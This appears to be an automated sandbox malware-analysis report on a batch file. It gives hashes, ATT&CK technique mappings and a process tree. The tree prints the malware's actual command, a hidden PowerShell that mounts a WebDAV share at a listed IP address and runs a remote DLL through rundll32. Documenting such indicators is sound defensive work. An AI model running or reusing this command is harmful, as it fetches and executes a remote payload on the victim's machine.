0897c3cc235f44d3bb41ef51e3596ac7f71132c0894bcf59a79c2c1ac01d3e19

Analysis

max time kernel
100s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 06:37

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General

Target

2624716736120382480.bat
Size

2KB
MD5

2995771242d3f03a3524a204aaf419bc
SHA1

16602b653bdf0a646bfb460a226535241401030f
SHA256

0897c3cc235f44d3bb41ef51e3596ac7f71132c0894bcf59a79c2c1ac01d3e19
SHA512

2bae689d48b55e732348d71a5ae5efa491e2ab96dabf8fffdd608adedba1ccd9b208b976ea3efe83365855c25913232f82c61351ce0dc88e7df1d6fc6cfd1541

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2496	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2496	powershell.exe
2496	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3616	wordpad.exe
3616	wordpad.exe
3616	wordpad.exe
3616	wordpad.exe
3616	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5032 wrote to memory of 3616	5032	cmd.exe	84
PID 5032 wrote to memory of 3616	5032	cmd.exe	84
PID 5032 wrote to memory of 2496	5032	cmd.exe	86
PID 5032 wrote to memory of 2496	5032	cmd.exe	86
PID 2496 wrote to memory of 3216	2496	powershell.exe	88
PID 2496 wrote to memory of 3216	2496	powershell.exe	88
PID 2496 wrote to memory of 2016	2496	powershell.exe	89
PID 2496 wrote to memory of 2016	2496	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2624716736120382480.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1799.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3216
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1799.dll,entry
    3⤵
    PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b5jvjljx.vh0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2496-0-0x00007FF96C5B3000-0x00007FF96C5B5000-memory.dmp

Filesize
8KB

Download
memory/2496-10-0x000001EBC2910000-0x000001EBC2932000-memory.dmp

Filesize
136KB

Download